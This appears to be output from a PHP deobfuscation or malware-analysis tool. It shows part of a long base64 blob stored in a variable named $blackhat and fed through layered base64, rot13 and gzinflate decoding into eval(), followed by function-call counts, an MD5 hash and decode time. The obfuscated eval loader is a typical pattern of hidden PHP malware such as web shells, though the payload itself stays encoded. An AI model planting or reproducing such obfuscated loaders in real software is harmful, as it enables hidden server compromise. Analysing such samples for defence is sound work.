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";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($blackhat))))));
?>
Function Calls
ini_set | 2 |
gzinflate | 1 |
str_rot13 | 2 |
base64_decode | 1 |
Stats
MD5 | c97a22e789c5f20ce1d5a1930a1e45ad |
Eval Count | 1 |
Decode Time | 9937 ms |